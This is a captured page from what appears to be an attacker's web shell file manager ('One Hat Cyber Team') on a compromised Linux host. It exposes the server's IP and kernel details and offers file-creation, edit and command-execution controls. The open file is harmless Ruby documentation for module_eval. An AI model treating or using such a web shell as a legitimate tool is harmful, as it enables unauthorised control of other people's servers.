⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.116
Server IP:
78.40.11.138
Server:
Linux tango.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
alt
/
ruby19
/
share
/
ri
/
1.9.1
/
system
/
Module
/
Edit File: module_eval-i.ri
U:RDoc::AnyMethod[iI"module_eval:ETI"Module#module_eval;FF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [ I"DEvaluates the string or block in the context of _mod_. This can;TI"Hbe used to add methods to a class. <code>module_eval</code> returns;TI"Cthe result of evaluating its argument. The optional _filename_;TI"=and _lineno_ parameters set the text for error messages.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I"class Thing ;FI" end ;FI",a = %q{def hello() "Hello there!" end} ;FI"Thing.module_eval(a) ;FI"puts Thing.new.hello() ;FI"5Thing.module_eval("invalid code", "dummy", 123) ;Fo; ; [I"<em>produces:</em>;T@o;; [I"Hello there! ;FI":dummy:123:in `module_eval': undefined local variable ;FI") or method `code' for Thing:Class;F: @file0I"tmod.class_eval(string [, filename [, lineno]]) -> obj mod.module_eval {|| block } -> obj ;T0[ I"(*args);FI"vm_eval.c;T
Simpan